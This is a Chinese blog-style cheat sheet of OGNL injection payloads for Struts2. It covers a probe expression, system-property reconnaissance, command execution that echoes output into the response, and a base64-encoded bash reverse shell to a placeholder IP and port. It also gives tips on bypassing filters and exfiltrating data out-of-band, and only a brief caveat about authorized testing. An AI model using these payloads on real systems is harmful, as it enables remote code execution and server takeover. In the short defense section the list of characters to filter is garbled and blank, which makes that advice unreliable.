OGNL注入常用命令详解:从入门到实战,这些技巧你掌握了吗?
大家好呀!今天咱们来聊聊一个在安全圈里挺热门的话题——OGNL注入常用命令,说实话,我第一次接触这个概念的时候,脑袋里全是问号,啥是OGNL?为啥它能注入?注入之后又能干啥?别急,今天我就用大白话,把我踩过的坑和总结的经验一股脑儿分享给你,保证你看完之后,对OGNL注入常用命令有个清清楚楚的认识。

OGNL是个啥?为啥能注入?
OGNL,全称是Object-Graph Navigation Language,翻译过来就是“对象图导航语言”,听起来高大上,其实它就是一个用来访问Java对象属性的表达式语言,你在Struts2、MyBatis这些框架里经常能见到它的身影,问题是,如果开发者不小心把用户输入直接丢进OGNL表达式里执行,那可就炸了——攻击者就能通过构造恶意表达式,执行任意代码,这就是我们说的OGNL注入。
我第一次挖到这个漏洞的时候,心情那叫一个激动啊,但紧接着就懵了:到底该用哪些命令?怎么一步步拿到权限?别慌,下面这些OGNL注入常用命令,你可得收好了。
OGNL注入常用命令大盘点
基础探测命令
刚开始,你得先确认注入点能不能用,最经典的探测命令就是:
%{1+1}
如果页面返回2,那恭喜你,OGNL表达式被执行了,这就像敲门砖,没它后面都白搭,我当时看到那个“2”的时候,差点从椅子上跳起来,哈哈!
获取系统信息
确认能执行后,下一步就是摸清环境。OGNL注入常用命令里,这几个你肯定用得上:
%{@java.lang.System@getProperty("os.name")}
%{@java.lang.System@getProperty("java.version")}
%{@java.lang.System@getProperty("user.dir")}
这几个命令能帮你拿到操作系统、Java版本、当前目录,别小看这些信息,后面构造payload全靠它们,我习惯先记下来,免得后面手忙脚乱。
执行系统命令
这才是重头戏!OGNL注入常用命令中最核心的就是命令执行,在Struts2环境下,通常这么玩:
%{@java.lang.Runtime@getRuntime().exec("whoami")}
或者更隐蔽一点:
%{(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
这段看着长,其实逻辑很简单:判断系统类型,拼命令,起进程,把结果输出到响应里,我第一次成功执行whoami的时候,那种成就感,啧啧,别提了!
反弹Shell
光执行命令不过瘾?那就反弹个Shell呗。OGNL注入常用命令里,反弹Shell的构造稍微复杂点,但原理一样:
%{@java.lang.Runtime@getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}")}
把里面的IP和端口换成你自己的,监听一下,Shell就到手了,不过我得提醒一句,这玩意儿只能在授权测试里用,别乱来啊!
避坑指南:那些年我踩过的雷
说真的,OGNL注入常用命令看着简单,实际用起来坑不少。
- 有些环境禁用了
Runtime.exec,你得换ProcessBuilder。 - 命令里的特殊字符会被过滤,得用
StringBuilder拼接或者编码绕过。 - 回显是个大问题,有时候命令执行了但你看不到结果,得靠DNSlog或者HTTP请求外带。
我就曾经因为没处理回显,折腾了一下午,最后发现是响应流没flush,你说气不气人?
防御建议:别光顾着攻
咱们学OGNL注入常用命令,不是为了搞破坏,而是为了更好地防御,开发同学注意了:
- 永远不要将用户输入直接拼接到OGNL表达式里。
- 使用白名单校验,过滤掉、、这些危险字符。
- 升级Struts2到最新版本,很多老漏洞早就修了。
安全这事儿,攻防本一家,懂攻击才能更好防守,你说对吧?
总结一下
好了,絮絮叨叨说了这么多,核心就一句话:OGNL注入常用命令是你踏入Java安全领域必须掌握的基本功,从%{1+1}探测,到系统信息获取,再到命令执行和反弹Shell,每一步都得练熟了,当然啦,千万别用在非法用途上,不然可别怪我没提醒你。
如果你觉得这篇文章对你有帮助,记得把OGNL注入常用命令这个页面收藏一下,后面我还会分享更多实战技巧,有啥问题欢迎留言,咱们一起讨论,一起进步!加油!